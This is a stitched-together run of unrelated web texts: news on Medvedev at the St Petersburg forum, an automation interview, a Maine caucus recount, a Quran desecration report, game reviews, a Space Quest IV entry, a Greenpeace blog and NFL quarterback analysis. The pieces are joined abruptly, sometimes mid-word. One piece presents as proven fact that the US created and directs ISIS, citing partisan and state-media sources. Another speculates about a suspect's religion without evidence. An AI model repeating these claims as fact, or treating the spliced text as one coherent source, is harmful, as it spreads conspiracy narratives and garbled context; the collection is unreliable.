Western chief executives who came to St Petersburg hoping for hear reassurances from a leader whose liberal credentials have been widely touted instead found a president who often sounded like a clone of his aggressive predecessor, Vladimir Putin.
Slamming the World Bank and the International Monetary Fund for their failure to end the world's problems, Mr Medvedev suggested that Russia should instead take charge of redirecting global economic policy.
He announced that a conference to address major issues like the credit crunch and rising food prices would be held in Russia later this year.
"Russia is a global player and understands its responsibility for the fate of the world," he said.
"We want to participate in setting the new rules of the game."
Just as Russia displayed its military might last month by driving tanks and missile launchers through Red Square for the first time since the Cold War, the forum in St Petersburg was intended as a brash display of the country's newly acquired wealth.
Fleets of black limousines brought Russia's rich to an event that organizers claim could soon supplant the World Economic Forum in Davos.
Roman Abramovich, the oligarch who owns Chelsea Football Club, turned up in one of the world's largest yachts – on which he reportedly entertained Mr Putin, who remains Russia's most powerful man despite taking on the theoretically less powerful position of prime minister last month. Mr Putin did not attend the conference.
World business executives dutifully paid homage to Russia's notoriously sensitive leaders and for the most part avoided words that could upset their hosts.
Yet, for all its confidence, the conference served as a metaphor for the underlying economic weaknesses that the Kremlin likes to claim are either non-existent or not an issue.
Behind the grandeur, the Soviet-era venue that played host to the conference – which replaced a similar forum in London last year after Britain fell out of favour in the Kremlin – creaked badly.
Sound systems wobbled, western executives looked on in occasional bafflement as translation devices periodically failed, some delegates went hungry due to a shortage of food points and security officers behaved at their thuggish worst.
Even the entertainment, provided by Roger Waters, the croaky-voiced former lead singer from Pink Floyd, and the remnants of 1990s one-hit wonders Ace of Base seemed oddly incongruous for a festival with such pretensions of grandeur.
Russia, however, does not like its weaknesses pointed out by foreigners, as Jim O'Neill the respected British chief economist at Goldman Sachs discovered.
Last month, Mr Putin boasted that Russia would overtake Britain as the world's sixth largest economy by the end of the year – a claim queried by the most trusted methods of calculation.
When Mr O'Neill, whose projections on the course of the world economy are internationally respected, predicted that economic growth would begin to slow and that Russia would still be three places behind Britain in 2020, he was greeted with glowers and reproaches from ministers and Russian dignitaries alike.
The World Bank received similarly short shrift when it suggested last week that runaway inflation, which is threatening to undermine Russia's economic miracle, was actually more the fault of the Kremlin's monetary and fiscal policy than of the United States.
The greatest criticism came from foreign oil companies, some of whom have been forced to surrender assets to the state after aggressive and legally dubious campaigns led by the Kremlin.
"There is no confidence in the rule of law in Russia today," said Rex Tillerson, the chief executive of Exxon Mobil.
While delegates found one government ally in the form of first deputy prime minister Igor Shuvalov, rapidly becoming a Western darling for his pro-market views, the big test for the Medvedev government's commitment to property rights is likely to come when the fate of BP's Russia operations is decided in the coming weeks.
BP's 50-50 Russia venture with three Russian oligarchs, TNK-BP, has come under a multi pronged attack in the past few months. Police raids, tax inspections and visa issues for British staff culminated last week in the British head of TNK-BP, Robert Dudley, being summoned for questioning as part of a criminal investigation last week.
Many analysts believe that the state energy juggernaut Gazprom is after a stake in the company and suspect that BP, which gets a quarter of its energy from Russia, will be little more than a bit player in the country by the end of the year.
In one of the conference's many ironies, BP's chief executive Tony Hayward was seated next to his Gazprom counterpart, Alexei Miller.
Mr Hayward, who has consistently praised the Kremlin in the past, avoided questions from journalists by jumping off a stage and running around a conference hall before escaping through a side door."Technology is probably the most important force already, and that's going to become even more true in the future," says author Martin Ford. - GERARD JULIEN/AFP/Getty Images
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Five years ago, Marketplace explored the ways in which machines, robots and software algorithms were increasingly entering the workforce in our series "Robots Ate My Job." Now, we're looking at what humans can do about it with a new journey to find what we're calling "Robot-Proof Jobs."
President Donald Trump is set to meet with Chinese premier Xi Jinping in Florida this week. A key topic, beyond North Korea, will be the U.S. administration's pushback against globalization.
Bringing jobs back from overseas is a central piece of the Trump agenda. However, one of the biggest challenges facing the American workforce may not be competition from other countries, but something domestic: technology. Machines and algorithms are getting pretty good at doing parts of our jobs.
This month on Marketplace, we'll look at this from a variety of angles, with a focus on how human workers and human policy may need to adapt to tech. To kick it all off, a conversation with Martin Ford, a futurist and author of the book "Rise of the Robots: Technology and the Threat of a Jobless Future." Below is an edited transcript of the conversation.
Martin Ford: Artificial intelligence and robotics really seem to be reaching a point where we're really seeing an acceleration, what you might call an inflection point. Things are really beginning to drive upward. It is going to have a huge impact across the board. This is all happening not just because of technology but because of the interaction of technology and the market. There has always been a powerful incentive in capitalism to save on labor, to do something more efficiently. Historically that's been a good thing, that's what's made us richer. Historically, what we've seen is that technologies have had a big impact in one area of the economy. For example, think about what mechanization did to agriculture.
David Brancaccio: Yes, machines in the 19th century wiped out virtually all of those jobs.
Ford: That's right, but it was one sector of the economy. It was just agriculture, and that meant the whole rest of the economy was out there to absorb those workers. Of course, people lost their jobs on farms, but then they found jobs in factories. Now what we're going to see is more of a general purpose wave of technology, almost like a utility. Many people compare artificial intelligence and information technology to electricity. I mean, you wouldn't ask what industries are most impacted by electricity. The answer is obviously everything.
Brancaccio: And you must see an irony here. When it comes to national politics, the debate right now is not about robots, AI and algorithms, it's about trade. It may be that it's the technology we should be spending time focusing on in terms of the direction of the labor force.
Ford: Technology is probably the most important force already, and that's going to become even more true in the future. It's going to overwhelm the impact of globalization. In fact, you already see some factories coming back to the United States, but what happens is that when the factory comes back to the U.S. it's almost entirely automated. Initially the jobs that are most likely to be impacted are those that are on some level routine and repetitive — if you're facing the same challenges, or if your job is even a little bit boring from day to day, then you should be a little bit worried that at some point technology is going to reach the point where [your job] is going to be threatened.
Check out the most and least automatable jobs in America here.
“I think the best compliment I can give is not to say how much your programs have taught me (a ton), but how much Marketplace has motivated me to go out and teach myself.” – Michael in Arlington, VA As a nonprofit news organization, what matters to us is the same thing that matters to you: being a source for trustworthy, independent news that makes people smarter about business and the economy. So if Marketplace has helped you understand the economy better, make more informed financial decisions or just encouraged you to think differently, we’re asking you to give a little something back. Become a Marketplace Investor today – in whatever amount is right for you – and keep public service journalism strong. We’re grateful for your support. BEFORE YOU GOJERUSALEM (JTA) — A Ukraine native will be the first Conservative rabbi to serve in the former Soviet republic.
Reuven Stamov, 38, originally from Crimea, on Feb. 3 will be the 82nd rabbi to be ordained by the Schechter Rabbinical Seminary in Jerusalem.
Stamov, with his wife and their two daughters, will return to Ukraine from Israel to serve as the first rabbi from the Conservative movement in Ukraine and the former Soviet Union, according to the seminary.
Stamov had made aliyah in 2003 with his wife, whom he met at a Midreshet Yerushalayim Jewish community school where he was teaching. Soon after he began rabbinical studies at the Schechter seminary.
By the age of 23, Stamov completed his master’s degree in mechanical engineering in Ukraine, but could not find a job in his field and instead took a job as a guide in a local Jewish youth club, despite negligible knowledge of Judaism and the history of the Jewish people
He later worked at the Ramah-Ukraine summer camps sponsored by Schechter’s Midreshet Yerushalayim Jewish enrichment programs for Jews in the former Soviet Union.
"Campers loved him. He sang with them and piqued their curiosity about Judaism and its vast stores of knowledge," said Gila Katz, director of Midreshet Yerushalayim Eastern Europe, adding that he will do well in energizing those Jewish communities in Ukraine.Computers are hard on the environment – from their materials and manufacture to their energy use and ultimate disposal. There are definitely some more energy efficient and eco-friendly models out there, but in order to make computers more sustainable, we need to completely rethink them. For this year’s Greener Gadget Design Competition, Brenden Macaluso decided to redesign the computer to make it’s whole lifecycle more sustainable. Featuring a slick cardboard case, his Recompute focuses on sustainability throughout the computer’s manufacturing, use and disposal, offering a fully functioning PC with off-the-shelf components.
The only materials required to manufacture Macaluso’s Recompute desktop computer are cardboard, non-toxic white glue and the computer components themselves. Standard computers on the other hand require numerous materials such as ABS plastic, aluminum, and steel, in addition to many energy-intensive manufacturing processes. This simple cardboard computer only requires die-cutting, printing, gluing and finally electronic assembly of three parts – the motherboard with processor and memory, a power supply, and a hard drive.
To use the computer, simply hook it up to your existing monitor, keyboard and mouse. You don’t need any special new hardware to run it, and for even more flexibility, there are 8 USB ports for external hardware customization. To dispose of the computer, you still need to send the electronic parts to be recycled properly as they contain heavy metals, but the cardboard is easy to remove and recycle. Recompute does not require any special tools to dismantle.
As for the specs of the computer, all of the components are off-the-shelf technology, including an Intel Core 2 Duo CPU, and 2GB of RAM. While there could be some concern about heat, air flow, and possible ignition due to it being made of cardboard, the designer has taken this into consideration. Plastics begin to melt at 120°, whereas cardboard won’t burn until 258°. The goal of this new computer design is to minimize the use of processed materials, reduce labor and parts to manufacture it, and finally be able to more completely recycle a computer at the end of its useful life.
If you’re a fan of Recompute be sure to vote for it today in this year’s Greener Gadgets Design Competition! We’ll be using your votes to decide the top ten gadgets that will proceed to an exciting round of live judging at the Greener Gadgets Conference for $5000 in prizes.
+ Recompute
+ Greener Gadget Design CompetitionWASHINGTON — According to a recount by the state Republican party, Mitt Romney has increased his lead over Ron Paul to 239 votes in the Maine Republican caucuses.
But the new results likely won’t quell the outrage or suspicion that has engulfed the Maine GOP since Saturday because so many questions still remain.
On Saturday, Mitt Romney was declared the winner, beating Ron Paul by 194 votes out of 5,585 cast, according to the state GOP.
Additional Photos Former Massachusetts Gov. Mitt Romney retains his lead over Ron Paul, Rick Santorum and Newt Gingrich in Maine Republican caucus votes, after a recount by the state party. But Maine Republican Chairman Charlie Webster cautions that the tally still may not be accurate. The Associated Press Rep. Ron Paul kicks balloons after speaking to supporters in Portland last Saturday after his loss in the Maine caucuses to Mitt Romney. Paul was reported the winner in the Portland caucus last weekend, but the recount gives the win to Romney. Robert F. Bukaty/The Associated Press
But the numbers did not include the vote totals from several communities, including Waterville and much of Waldo County because of computer or clerical errors, Maine GOP chairman Charlie Webster said.
Other communities’ vote totals were entered incorrectly, he said, and Washington County’s caucuses weren’t included in the original totals after being postponed until this Saturday because of a snowstorm.
Webster said they’ve now added up all the votes from Maine except from Washington County, but the new numbers will likely only increase suspicion among Paul’s supporters and Webster’s detractors.
It turns out Paul won many of the communities that hadn’t previously been counted. Paul beat Romney 21 to 5 in Waterville, according to the new GOP data. Paul also beat Romney 72 to 59 in Waldo County.
But the vote tallies were revised enough in other towns to add to Romney’s lead, according to the new data.
In Limington, Paul originally received 20 votes. But after the recount, Paul received zero votes.
In Portland, Paul originally beat Romney 106-91. But after the recount, Romney beat Paul 106-91.
In Bar Harbor, the GOP originally said 22 people voted. But after the recount, it said 27 voted and the five extra votes went to Romney.
In Trenton, the GOP originally said 15 people voted. But after the recount, it said 20 voted and all five extra votes went to Romney.
Likely adding fuel to the flames, Webster said Friday night some towns votes still weren’t included in the recount, if they voted after 5 p.m. on Feb. 11 or if he couldn’t get in touch with them.
Late Friday, a town-by-town tally of the recount still showed some towns with zero votes.
The state party was unable to contact every single town because it does not have on file a GOP chairman for every town, Webster said.
“We made every effort to reach out to every town we could reach,” Webster said.
After days of local and national scrutiny, the Maine Republican Party has been recounting the results of its presidential caucuses.
In addition to Romney increasing his lead in certain areas, there were many other incongruities between the old tallies and new tallies.
In New Gloucester, for example, the state GOP originally said 74 people voted. Now it says 102 people voted. Nearly all of the extra votes went to Rick Santorum.
Ultimately, state party officials found a net increase of about 200 votes during the recount.
The new numbers set the stage for today’s caucuses in Washington County.
The Maine GOP initially set a time frame of Feb. 4-11 for individual caucuses around the state to be included in the official tally. The Paul campaign protested that not including Washington County robbed it of the chance to overtake Romney, and the other errors compounded their frustration.
Because of the controversy during the week, state party offiicials expect a big turnout at today’s event.
The state’s 24 delegates to the Republican National Convention won’t be chosen until the state party convention in May, and three of them will be state GOP officials. But the delegates generally follow the wishes of the caucus-goers.
A total of 1,144 delegates are needed nationally to win the GOP presidential nomination.
MaineToday Media Washington Bureau Chief Jonathan Riskind can be contacted at 791-6280 or at:
[email protected]
Twitter: Twitter.com/MaineTodayDC
ShareIt’s one of the dirtiest of dirty open secrets.
US Defense Intelligence Agency (DIA) documents prove it – obtained by Judicial Watch through an FOIA lawsuit.
They show ISIS, al-Qaeda and like-minded terrorist groups are the “major forces” used as US foot soldiers in Syria, Iraq and elsewhere.
The myth of so-called “moderate rebels” was long ago discredited. Yet claiming they exist persists.
The DIA documents show America, NATO, Saudi Arabia and other regional rogue states support an Islamic caliphate to challenge, topple and replace Bashar al-Assad with an imperial puppet.
Longstanding US/Israeli plans call for redrawing the Middle East map by color revolutions and wars, replacing independent governments with pro-Western puppet regimes, balkanizing Iraq, Syria, Iran and other regional countries for easier control, looting their resources, and exploiting their people.
Time to buy old US gold coins
In a January 2016 Iran Review article, James Fetzer discussed evidence of ISIS’ creation by America.
In February 2015, Iraq’s military “downed 2 UK cargo planes carrying weapons for ISIL,” he explained. In March 2015, “Iraqi popular forces…shot down a US helicopter carrying weapons for ISIL in Al-Anbar province…”
Photographic evidence proved it.
In response to an April 2015 Syrian request to designate ISIL (ISIS) a terrorist organization, “the US, Britain, France and Jordan refused…”
(Source: Iran Review)
“Photographs…showing ISIS members sporting ‘US Army’ tattoos” went unreported by Western media scoundrels.
A 2012 DIA document states the West will facilitate the rise of ISIS “to isolate the Syrian regime.”
Former CIA contractor Steven Kelly said Washington
“created ISIL for the sake of Israel,” along with assuring “never-ending war in the Middle East” to make the Jewish state the dominant regional power and provide a “constant flow of orders for weapons from the military-industrial complex at home…”
ISIS fighters are recruited from scores of countries, including Western ones.
In October 2015, Russian lower house State Duma International Affairs Committee chairman Alexi Pushkov explained America is
“not bombing ISIS at all…Obama is lying to the American people.”
In November 2015, Vladimir Putin said dozens of countries are supporting ISIS, including America and other Western ones.
Fetzer:
“There are many other sources that confirm that ISIS was created by the US and is being supported by Western powers to promote their own political agenda, where nothing coming from the administration of Barack Obama is worthy of belief.” “Since the nullification of the Smith-Mundt Act of 1948 (which precluded the techniques of propaganda and disinformation within the United States) by the NDAA 2013, there are no trustworthy (mainstream) news sources in the US…”
In Washington, “ISIS is commonly called ‘John McCain’s Army’…(one of) the earliest advocates of (regional) military action” on the phony pretext of combating ISIS.
On Sunday, Fars News quoted Iranian armed forces deputy chief of staff General Mostafa Izadi saying:
“We possess documents and information showing the direct supports by the US imperialism for this highly disgusting stream (ISIS) in the region which has destroyed the Islamic countries and created a wave of massacres and clashes.”
Washington uses ISIS and like-minded groups as instruments for regional “proxy war…”
On Friday, Fars News quoted Iran’s parliament Speaker Ali Larijani, saying
“(t)he United States has aligned itself with the ISIL in the region.”
ISIS, al-Qaeda, al-Nusra (ISIS in Syria) and like-minded groups are US creations.
They’re used as foot soldiers to advance its imperium – responsible for aiding Washington rape and destroy one country after another.
Most Americans are unaware of Washington’s diabolical agenda in the Middle East, Central Asia, North Africa and elsewhere in their name – a bipartisan conspiracy against world peace, stability and security no matter the human cost.
Reprinted with permission from GlobalResearch.ca.
The Best of Stephen Lendman"Shocking and unusual." Those are the words police at UT Dallas are using as they search for the person who dumped several copies of the Quran in campus toilets. (Published Sunday, April 16, 2017)
Police at the University of Texas at Dallas say they're searching for the person who dumped several copies of the Quran in campus toilets.
They call the incident "shocking" and "unusual."
A student recently discovered the books inside a bathroom at the university's Student Union building. After snapping some pictures to document the apparent anti-Muslim act, he immediately reported it to campus security, which got police involved.
UT Dallas junior Mohammad Syed, a Muslim, said he didn't believe the news until he saw photos published in the student newspaper.
"It's definitely saddening and a little disturbing as well," said Syed, who is the President of the UT Dallas Muslim Student Association. "It's something that we do not expect to happen, especially at this campus."
Syed said he's always known UT Dallas as a diverse and inclusive place, which was the one of the things that drew him to pursue a degree in neuroscience there.
"UT Dallas is a very welcoming environment," he said. "And I have nothing but good things to say about it."
And that won't change despite this incident.
"You know, while there is a little voice of hate, there is an overwhelming voice of love and support [here] and we definitely appreciate that," said Syed. "And I'm very happy to say I'm a student, a Comet, over here at UTD."
UT Dallas Police say they are reviewing surveillance video from inside the Student Union building.
They acknowledge they haven't found "anything out of the ordinary" for now, but say they're taking this matter seriously and will continue to investigate.Warhammer: End Times – Vermintide is a first-person shooter set in the Warhammer fantasy universe. The game was developed and published by Fatshark, a company most known for the action title War of the Roses, which was released in 2012.
With less than ten games under their belt, it was understandable if fans of the Warhammer series were a bit uneasy, especially considering the mediocre titles to come out of Games Workshop’s other intellectual properties as of late.
Fortunately, Vermintide is a thoroughly competent game, albeit incredibly derivative. If you’ve played Left 4 Dead, this title will feel incredibly familiar, seeing as how it purloins a large majority of Left 4 Dead’s game mechanics.
Vermintide is essentially a clone—but honestly, I don’t think that immediately makes it a bad game. Quite to the contrary, I believe that it does many things better than the titles it borrows so heavily from.
The story of Vermintide isn’t particularly deep or engaging, but it manages to tie the missions together handily enough. Taking place during the End Times, your party of four players is constantly set upon by Skaven, hordes of rat-like humanoids in the city of Ubersreik.
Players can pick from one of five heroes, consisting of the Dwarf Ranger, Waywatcher, Bright Wizard, Witch Hunter, and Empire Soldier. Each of these characters has their own personality and unique things to say, which is half the fun in my opinion. They’re also all incredibly well voice-acted.
Combat seems like standard fare for the genre at first, but it does have some nice changes from the Left 4 Dead mold. While you do have your melee and ranged weapons, melee is a lot more of a focus here. It also feels wonderfully meaty and visceral, with each sword and hammer carrying a fair amount of weight behind their blows. It’s a lovely departure from Left 4 Dead’s paper zombies.
The “Special Skaven” mirror Left 4 Dead’s special infected almost to the tee, which is a bit disappointing. You have a Skaven that tries to grab one member away from the rest of the party, you have a stealthy one that pounces on singled-out targets, and you have a tank Skaven as well.
There are a few new ideas here, such as an enemy with a gatling gun that picks a target to fire upon, as well as heavily armored rats that require precisely-aimed shots to the head to easily dispatch. It unfortunately doesn’t detract from the fact that Vermintide still feels incredibly derivative from Valve’s popular IP.
It also feels irritatingly cheap in this game when Packmasters or Gutter Runners nab you. They seem to spawn just as the rest of your party is descending into a part of the stage from which return is impossible. This mean that you all have to coordinate going down at once, or risk one of you being grabbed. Your allies basically just have to watch as you slowly bleed out, since there’s nothing they can do.
This isn’t particularly good game design, in my opinion. While it is difficult, it’s not a satisfying form of difficulty at all, and just ends up feeling like the game is trying to cheat you out of a victory.
Simultaneously my favorite and least favorite part of Vermintide, however, is the loot system. After successful completion of each mission, the player gets to roll a certain amount of dice supplemented by completing side quests and picking up tomes and grimoires. The latter are hidden items that take up an inventory slot and debuff your character, the benefit being extra chances at loot.
Getting loot is always a fun addition, and it adds a sense of progression to the game. My main criticism of Left 4 Dead was that the only progression was getting better at the game, and once you’d beat everything on the highest difficulty, it was essentially over. That’s not the case here, which I appreciate greatly.
Unfortunately, in order to get anything worthwhile, you’ve got to do a fair amount of grinding. I can’t say my time spent exhaustively repeating the same levels in hopes that I’d get a higher-tiered item was particularly enjoyable, especially considering you’re at the mercy of a series of dice rolls to get anything from it all.
On a brighter note, the sound design in Vermintide is pretty top-notch. The weapons swing and crash into bone and flesh with satisfying audio cues, and the score and voice acting are delightful as well. If I had one complaint to make, I wish there were voice commands the player could give. While the game does these automatically, it often signals that there’s ammo or health right as you’re picking it up—which is pretty counter-intuitive. You’ll often hear an ally alert you about available health packs, only to find nothing when you make your way over to them.
The graphics are nice, if a bit muddy. It can be hard to tell the difference between certain enemy types at times, especially in the midst of a Skaven swarm. This can make it difficult to pop off reliable headshots as well, though it’s not a huge problem. Performance can be a bit spotty as well, with lower end PCs having a lot of trouble running the game at a respectable FPS. However, the devs have cited this as a top priority, and have been putting out frequent updates since the game’s release.
So, would I recommend Warhammer: End Times – Vermintide after all is said and done? Yes, I certainly would.
While it does have its fair share of issues, many of which frustrated me greatly, I still think it’s a solid, enjoyable title. Warhammer fans will have a lot to sink their teeth into, and Left 4 Dead fans will have something to fiddle with until the next iteration. Well…if Valve ever learns how to count to 3, that is.
Warhammer: End Times – Vermintide was reviewed on PC using a digital copy provided by Fatshark. You can find additional information about Niche Gamer’s review/ethics policy here.
The Verdict: 7.5
The Good:
Satisfying, weighty combat. No paper zombies here
Loot system adds meaningful progression to the game
Voice acting and sound design are superb
The Bad:Donate To Discover The Truth
On the same day a “mentally unstable” man who killed 50 gay people, a white guy from Indiana – most likely a Christian was arrested.
20-year-old James Wesley Howell of Indiana has been identified as the man arrested heading to LA GAY PRIDE Festival 2016. He was arrested with guns and explosives in his car.
Indystar.com reports:
Police say a heavily armed Indiana man arrested on his way to a Southern California gay pride parade told them he wanted to do harm to the event. Santa Monica police said in a statement that the suspect arrested Sunday is 20-year-old James Wesley Howell of Indiana. Howell was first reported as a prowler by concerned neighbors. Police say that when they arrested him, they found three assault rifles, high-capacity magazines and ammunition and a five-gallon bucket with chemicals that could be used to make an explosive device. Continue to read the full story here…
Don’t forget to follow Discover The Truth on Facebook and Twitter. PLEASE help spread the word by sharing our articles on your favourite social networks.
AdvertisementsSpace Quest IV: Roger Wilco and the Time Rippers is a 1991 graphic adventure game by Sierra On-Line. It was released on floppy disks on March 4, 1991, and released on CD-ROM in December 1992 with full speech support and featuring Laugh-In announcer Gary Owens as the voice of the narrator. It featured 256-color hand painted graphics and a fully mouse-driven interface. It was one of the first games to use motion capture animation. The game cost over US$1,000,000 to produce and sold more than its three predecessors combined. An Atari ST version was announced via Sierra Online's magazine, Sierra News Magazine, but was later canceled.[1]
Plot [ edit ]
In this installment, Roger embarks on a time-travel adventure through Space Quest games both past and future. An infomorph of reborn Sludge Vohaul from Space Quest XII: Vohaul's Revenge II chases Roger through time in an attempt to finally kill him. Roger also visits Space Quest X: Latex Babes of Estros (whose title is a parody of Infocom's game Leather Goddesses of Phobos) and Space Quest I; in the latter, the graphics and music revert to the style of the original game and Roger is threatened by a group of monochromatic bikers who consider Roger's 256 colors pretentious. None of the gameplay takes place in Space Quest IV. In fact, the "actual" Space Quest IV is only seen briefly in the introduction.
Gameplay [ edit ]
In contrast to the first three games, Space Quest IV uses a point-and-click interface, featuring icons for different actions. The icons are an eye, a talking head, a walking person, a hand, a mouth, and a nose, representing look, talk, walk to, use, taste, and smell, respectively. The last two almost never do anything other than provoke a humorous response from the game.
Ms. Astro Chicken [ edit ]
Ms. Astro Chicken: Flight of the Pullet is a video game embedded within the Latex Babes of Estros portion of the game, in a mall arcade. It is a sequel of sorts to Astro Chicken, an arcade game that appeared in Space Quest III. The game's name is a parody of the actual arcade game Ms. Pac-Man. The Astro Chicken theme music is a variation on the Chicken Reel, a traditional folk song best known for its use in animated cartoons.
In the game, the player controls a flying chicken, whose enemies include flying squirrels, windpumps, shotgun-wielding hunters and hunting dogs. Dropping eggs on enemies immobilizes them and increases the player's score. After playing the game for a while, the arcade cabinet explodes, though this has no effect on the player or broader game.
Copy protection [ edit ]
Originally, the time pod codes could only be found in the manual as a form of copy protection. In later releases, the codes were added to the game.
Reception [ edit ]
According to Sierra On-Line, combined sales of the Space Quest series surpassed 1.2 million units by the end of March 1996.[2]
In 1991, Dragon gave the game 5 out of 5 stars.[3] In 1992, they gave the Macintosh version of the game 5 out of 5 stars as well.[4] Computer Gaming World's Charles Ardai stated in 1993 that "the CD-ROM version is even more filling than the original. It accentuates and improves all of the game's strong points", with Owens and others providing much better voice acting than in King's Quest V. While noting that the CD-ROM did not change the brevity of the gameplay, Ardai added that "there are better adventure games than Space Quest IV [but] there are few games that are more entertaining. Fewer still are improved so much in the transition to CD-ROM". He concluded that "Space Quest IV is the perfect multimedia game: it looks and sounds great and it offers an experience one could not get from a floppy-based game".[5] In April 1994 the magazine said that the CD version's voices "bring Roger Wilco's campy world to life... one of his finest and funniest adventures".[6]
In 1996, Computer Gaming World named Space Quest IV as the funniest game ever made. The editors wrote that it "transformed every sci-fi time-travel cliche with Gary Owens' voice... providing the perfect comedic counterpoint."[7]
In 2011, Adventure Gamers named Space Quest IV the 48th-best adventure game ever released.[8]
Changes between original release and CD-ROM [ edit ]
In the original version of the game, the Galaxy Galleria features a store named "Radio Shock", a parody of electronics retailer Radio Shack.[9] The store was renamed to "Hz. So Good" in subsequent versions.You're going out. First thing you do is decide what to wear, right?
You decide on your look, you check in the mirror, (maybe change and check in the mirror and again a few times...) and then you're ready. We do the same when we're shopping -- we decide. We can influence what clothes are sold and how they are made to some degree as consumers, but it's when we engage as citizens and activists that the real change happens.
Right now, water around the world is being poisoned by hazardous chemicals coming from industrial sources. One of the main sources of this pollution is the textile industry, which uses a lot of chemicals to make the clothes we wear.
The Detox campaign is focused on getting top clothing brands to take responsibility for the pollution that their products and suppliers make and calling for fashion without pollution. Like Greenpeace, I feel passionately that the clothes we wear shouldn’t cost the earth.
After all, there are some things we all need for our survival on this beautiful planet, including a healthy environment and clean water! So it only makes sense to exercise our great power as consumers and activists and let our favorite clothing brands know that “Toxic Fashion” is so last season.
Last Friday at my debut concert in Santa Monica, my bandmates and I all wore Detox tattoos and t-shirts in support of this fantastic campaign. Best of all we also had many of our fans sport one of the temporary tattoos and get up on stage with us to make a unified statement for a toxic-free world! The "X" in the "Detox" tattoo we wore is the Chinese symbol for water -- a precious resource we all share, and something that also touches all of our lives no matter where we are from.
Join us
If you are like me and believe that beautiful fashion shouldn’t cause toxic water pollution, then get involved with the Detox campaign.
Q'orianka Kilcher is an American actress, singer and activist. She joined Greenpeace forests campaigners on the Rainbow Warrior earlier this year to take action to protect the Amazon.Nedward Flanders Jr. is a recurring fictional character in the animated television series The Simpsons. He is voiced by Harry Shearer, and first appeared in the series premiere episode |
far in this series, I've looked at some of the NFL's best defensive lines, linebacker corps and defensive secondaries, the best running back groups, tight ends units, wide receiver corps and offensive lines. Much emphasis was given to depth and breadth of talent at each position-group, because the 16-game NFL season and subsequent post-season is very much a battle of attrition when it comes to injuries. No team is immune, and oftentimes the clubs that end up on top are aided by great luck in the health department. For that reason, instead of ranking the starting quarterbacks in the NFL (which has been done ad nauseam anyway), I wanted to instead focus on which teams are best equipped to keep the ship afloat should the worst happen: a major multi-game (or more) injury to the starting signal-caller.
The starting quarterback is almost inarguably the most important player on an NFL roster. Success in the win-loss column and playoffs is almost always linked closely to the performance of a team's quarterback. There are many other variables, of course -- an elite defense, top-flight play-makers, the ball bouncing your way -- but what a quarterback does with the football affects the game greatly. Thus, a strong starting quarterback is essential in this league. A better-than-decent backup is an enormous luxury.
I included 18 NFL clubs on my list today, all teams that have, or have the potential to have, set themselves up nicely if every coaches' worst nightmare were to occur: a major injury to their starting quarterback. I'm sure I overrated, underrated, or forgot about a couple teams with talent and depth at the position within my list, but here we go.
FORMER STARTERS AND/OR HOMEGROWN VETS:
Have a backup quarterback with at least a cumulative season's worth of starting experience? Does your guy have playoffs experience? Count yourself among the fortunate.
In no particular order...
Indianapolis Colts:
Starter: QB Andrew Luck
Backups: QB Matt Hasselbeck, QB Chandler Harnish
The Colts are obviously set at the starting job with Andrew Luck, but having a veteran like Matt Hasselbeck behind him is a very nice piece of insurance for a franchise that wants to make a third straight Playoffs run in 2014. Hasselbeck, 38, enters his 16th NFL season and didn't see much action last year, only appearing in three games while throwing it 12 times, but he has a career 60 percent completion rate on over 5,000 regular season attempts.
The Bald Bomber has extensive experience, with 197 starts, 34,000+ passing yards and 201 touchdown passes under his belt. For a guy who has to come into a game cold and show poise in the huddle, this matters. Additionally, Hasselbeck has a good amount of playoff experience - he's started 11 games, including a Super Bowl, and has passed for over 2,700 yards with 18 touchdowns to nine picks in those games.
His physical ability is surely diminished, but he still retains elite-level expertise in offensive concepts and is well-versed in the Colts' playbook. All these things, apart from Hass' age, set the bar for what most teams look for in a backup, particularly teams with an established franchise QB. He's not going to sling the football all over the field, but he's a guy who can keep things afloat, in theory, if Luck ever missed starts. There's a reason he's making $8 million over two years to hopefully sit on the bench.
Philadelphia Eagles:
Starter: QB Nick Foles
Backups: QB Mark Sanchez, QB Matt Barkley, QB GJ Kinne
Michael Vick started the 2013 season at quarterback for the Eagles, but after he was forced out with an injury, his backup, Nick Foles, took over and never looked back. Foles started 10 games and passed for 27 touchdowns with only two picks -- an absurd 119 passer rating -- and now Vick is gone and his understudy holds the keys to the offense.
Backing up Foles this year is Mark Sanchez, who returns to football after sitting 2013 out with a shoulder injury. While the former fifth overall pick may not excite many as a starting quarterback prospect, he does offer quite a bit of value as an experienced backup (and he's getting $4 million to be just that for Chip Kelly).
Sanchez has 62 regular season starts in his career, plus six in the playoffs, and provides Philadelphia with a backup plan if Foles were to go down with an injury. Like Hasselbeck, Sanchez doesn't offer top-flight arm strength or dynamic athleticism, but he's an experienced veteran that could in theory manage a football game if called to do so, particularly with Philly's growing talent-base on offense.
Green Bay Packers:
Starter: Aaron Rodgers
Backups: QB Matt Flynn, QB Scott Tolzien
The Packers again discovered first-hand last year the value in having an experienced veteran sitting on the bench behind their franchise superstar quarterback. Pat Kirwan recently wrote that "a capable backup QB that can go at least 2-2 in a four-game stretch qualifies as a good backup," and that's what Matt Flynn helped the Packers do as the starter when Rodgers broke his collarbone in Week 9, forcing him to miss a month of the season.
Flynn didn't really stick while on detours to Seattle, Oakland, and Buffalo, but he's pretty well-suited to be Rodgers' backup, specifically, in Green Bay's system. In 39 appearances for the Packers, including six starts, Flynn's 184-of-298 (61.7 percent) passing, with 16 touchdowns, nine picks, and 7.3 YPA. Green Bay has gone 3-3 in those six starts, and Flynn has three game-winning drives in four fourth-quarter comebacks to his name. Again -- this is what you'd hope for in a backup.
Cincinnati Bengals:
Starter: Andy Dalton
Backups: QB Jason Campbell, QB AJ McCarron, QB Matt Scott
Jason Campbell has 79 NFL starts and has a 60 percent career completion rate on four different teams. He'll play for his fifth team in 2014 and should give the Bengals a little bit of assurance in the case their starter goes down. Unlike others ahead of him on this list, Campbell also provides a little bit more in the athleticism department, something that should serve him once plays break down. It also does provide a slight deterrent to teams in sending too many all-out blitzes because of that escapability factor.
Seattle Seahawks:
Starter: Russell Wilson
Backups: QB Tarvaris Jackson, QB Terrelle Pryor, QB B.J. Daniels
Tarvaris Jackson has played seven of his eight seasons in the NFL under offensive coordinator Darrell Bevell, first in Minnesota, then later in Seattle. His depth of knowledge into Bevell's playbook -- the language and concepts therein -- is pretty unmatched. Like Flynn in Green Bay, Jackson seems tailor-made to be a backup in Seattle's system; he possesses a strong arm to take deep shots downfield (a Seahawk staple), has mobility to run the bootleg game they adore and has become very disciplined later in his career, which fits Pete Carroll's "protect the football" mantra perfectly. He's highly respected by his teammates, something that certainly matters if he's ever asked to command the huddle on meaningful snaps, and has taken a lot of reps with Seattle's offensive weapons over the past few years.
